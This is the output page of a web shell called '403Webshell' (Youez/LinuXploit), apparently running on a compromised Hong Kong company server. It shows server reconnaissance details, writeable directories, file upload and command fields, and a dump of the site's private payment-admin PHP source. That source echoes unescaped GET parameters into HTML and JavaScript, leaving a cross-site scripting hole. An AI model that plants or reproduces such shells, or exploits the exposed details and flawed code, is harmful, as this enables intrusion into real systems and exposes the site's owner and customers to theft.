403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/payment_modifyform.php
<?php
	require_once('check_login.php');

	$_SESSION["_payment_type"] = $_GET["type"];

	//$_SESSION["index_url_parameter"] = get_index_url_parameter();

	$payment_info     = get_payment_by_id((int)$_GET["id"]);
	$payment_dtl_info = get_payment_dtl((int)$_GET["id"]);
	$customer_info    = get_customer($payment_info["customer_id"]);

	//$payment_method_info = get_master_type_code("PAYMENT_METHOD", $payment_info["paymethod"]);

	$sql99        = "SELECT * FROM sys_cms_login WHERE cmsloginid=?";
	$parameters99 = array((int)$payment_info{'lastupby'});
	$row99        = bind_pdo($sql99, $parameters99, "selectone");

	/*$this_payment_type_total_amt = 0;
	foreach ($payment_dtl_info as $key => $payment_dtl) {
		if ($payment_dtl["payable_type"] == $_SESSION["_payment_type"]) {
			$this_payment_type_total_amt+=$payment_dtl["amount"];
		}
	}*/

	$has_deposit = false;
	$has_invoice = false;
	foreach ($payment_dtl_info as $key => $payment_dtl) {
		if ($payment_dtl["payable_type"] == "DEPOSIT") {
			$has_deposit = true;
		}

		if ($payment_dtl["payable_type"] == "INVOICE") {
			$has_invoice = true;
		}
	}

	if ($has_deposit && $has_invoice) {
		$payfor = "ALL";
	} else if ($has_deposit) {
		$payfor = "DEPOSIT";
	} else if ($has_invoice) {
		$payfor = "INVOICE";
	}
?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once('html_head.php'); ?>

</head>
<body>
<form action="payment_modify.php" method="post" name="addform" enctype="multipart/form-data" class="form_field">
	<input type="hidden" name="payment_id" value="<?= (int)$_GET["id"] ?>"/>
	<input type="hidden" name="type" value="<?= $_GET["type"] ?>"/>

	<table width="800" border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="150" align="center" style="font-size: 12px;">

							<?php if ($payfor == "ALL") { ?>
								<div onclick="location.href='output_payment2.php?payment_id=<?= (int)$_GET["id"] ?>&type=ALL'" style="cursor:pointer; display: inline-block;">
									<img src="images/print.png" width="32" height="32" border="0"/> <br> &nbsp;合併列印&nbsp;&nbsp;
								</div>
							<?php } ?>
							<div onclick="location.href='output_payment2.php?payment_id=<?= (int)$_GET["id"] ?>&type=<?= $_GET["type"] ?>'" style="cursor:pointer; display: inline-block;">
								<img src="images/print.png" width="32" height="32" border="0"/> <br>
								&nbsp;列印<?= $_SESSION["_payment_type"] == "DEPOSIT" ? "按金收據" : "正式收據" ?>&nbsp;&nbsp;
							</div>

						</td>

						<td width="50" align="center" style="font-size: 12px;">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
							&nbsp;儲存&nbsp;&nbsp;</a></td>
						<td width="50" align="center">
							<a href="<?= "payment_index.php?" . $_SESSION["index_url_parameter"] . "&msg=取消" ?>"><img src="images/iconCancel.png" alt="Cancel" width="32" height="32" border="0"><br>
								&nbsp;取消&nbsp;&nbsp;</a></td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td class="pagetitletxt">
				&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/>查閱 <?= $_SESSION["_payment_type"] == "DEPOSIT" ? "按金收據" : "正式收據" ?>
				</b>
				<span style="float:right;" class="msg">最近更新: <?= $row99{'cmsusername'} . '&nbsp;&nbsp;&nbsp;' . $payment_info{'lastupdate'}; ?></span>
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->

				<table border="0" cellpadding="0" cellspacing="0">

					<tr>
						<td width="120" align="right" valign="top" class='content'>客戶</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<?= $customer_info["customer_name"] . ' (' . $customer_info["code"] . ')'; ?>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>付款方式</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<?php
								if ($_GET["type"] == "INVOICE") {
									$this_paymethod_info = get_master_type_code("PAYMENT_METHOD", $payment_info["paymethod2"]);

									echo $this_paymethod_info["name_tc"] . ' <br>';

									if ($payment_info["paymethod2"] == "CHEQUE") {
										echo '銀行名稱 : ' . $payment_info["bank_name2"] . '<br>
										支票號碼 : ' . $payment_info["cheque_num2"] . '<br>';
									}

									if ($payment_info["paymethod2"] == "OTHER" || $payment_info["paymethod2"] == "BANKIN") {
										echo $payment_info["paymethod_other2"] . '<br>';
									}
								} else if ($payment_info["payfor"] == "ALL" || $_GET["type"] == "DEPOSIT") {
									$this_paymethod_info = get_master_type_code("PAYMENT_METHOD", $payment_info["paymethod"]);

									echo $this_paymethod_info["name_tc"] . ' <br>';

									if ($payment_info["paymethod"] == "CHEQUE") {
										echo '銀行名稱 : ' . $payment_info["bank_name"] . '<br>
										支票號碼 : ' . $payment_info["cheque_num"] . '<br>';
									}

									if ($payment_info["paymethod"] == "OTHER" || $payment_info["paymethod"] == "BANKIN") {
										echo $payment_info["paymethod_other"] . '<br>';
									}

								}

							?>
							<br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>金額</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							$<?= numberformat($payment_info["amount"]) ?><br><br>
							<!--$<? /*=numberformat($this_payment_type_total_amt)*/ ?><br><br>-->
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>付款日期</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<?= $payment_info["docdate"] ?>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>付款項目</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<?php
								echo "<table id='unpaid_payment_table'>";
								echo "<tr>";
								echo "<td>類別</td>";
								echo "<td>發票編號</td>";
								echo "<td>發票日期</td>";
								echo "<td>發票到期</td>";
								echo "<td>付款金額</td>";
								echo "</tr>";

								foreach ($payment_dtl_info as $key => $payment_dtl) {

									/*if($payment_dtl["payable_type"] != $_SESSION["_payment_type"])
										continue;*/

									echo "<tr>";

									$payment_type = get_master_type_code("PAYMENT_TYPE", $payment_dtl["payable_type"]);

									echo "<td>" . $payment_type["name_tc"] . "</td>";

									$sql                = "select * from " . mb_strtolower($payment_dtl["payable_type"]) . " where id = ?";
									$parameters         = array($payment_dtl["payable_id"]);
									$payable_table_info = bind_pdo($sql, $parameters, "selectone");

									echo "<td><a href='" . mb_strtolower($payment_dtl["payable_type"]) . "_modifyform.php?id=" . $payment_dtl["payable_id"] . "' style='text-decoration: underline;' target='_blank'> " . $payable_table_info["code"] . "</a></td>";

									echo "<td>" . $payable_table_info["docdate"] . "</td>";

									/*if($payment_dtl["payable_type"] == "DEPOSIT"){
										echo "<td>" . date("Y-m-d", strtotime($payable_table_info["docdate"])) . "</td>";
									}else{
										echo "<td>" . $payable_table_info["duedate"] . "</td>";

									}*/
									echo "<td>" . $payable_table_info["duedate"] . "</td>";

									echo "<td>$" . numberformat($payment_dtl["amount"]) . "</td>";
								}

								echo "</table>";
							?>
							<br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content '>備註</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'>
							<textarea name="remark" style="width: 300px; height: 50px;"><?= ($payment_info["remark"]) ?></textarea>
							<br><br>
						</td>
					</tr>
				</table>
				<!-- End Content -->
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle">&nbsp;</td>
		</tr>
	</table>
</form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit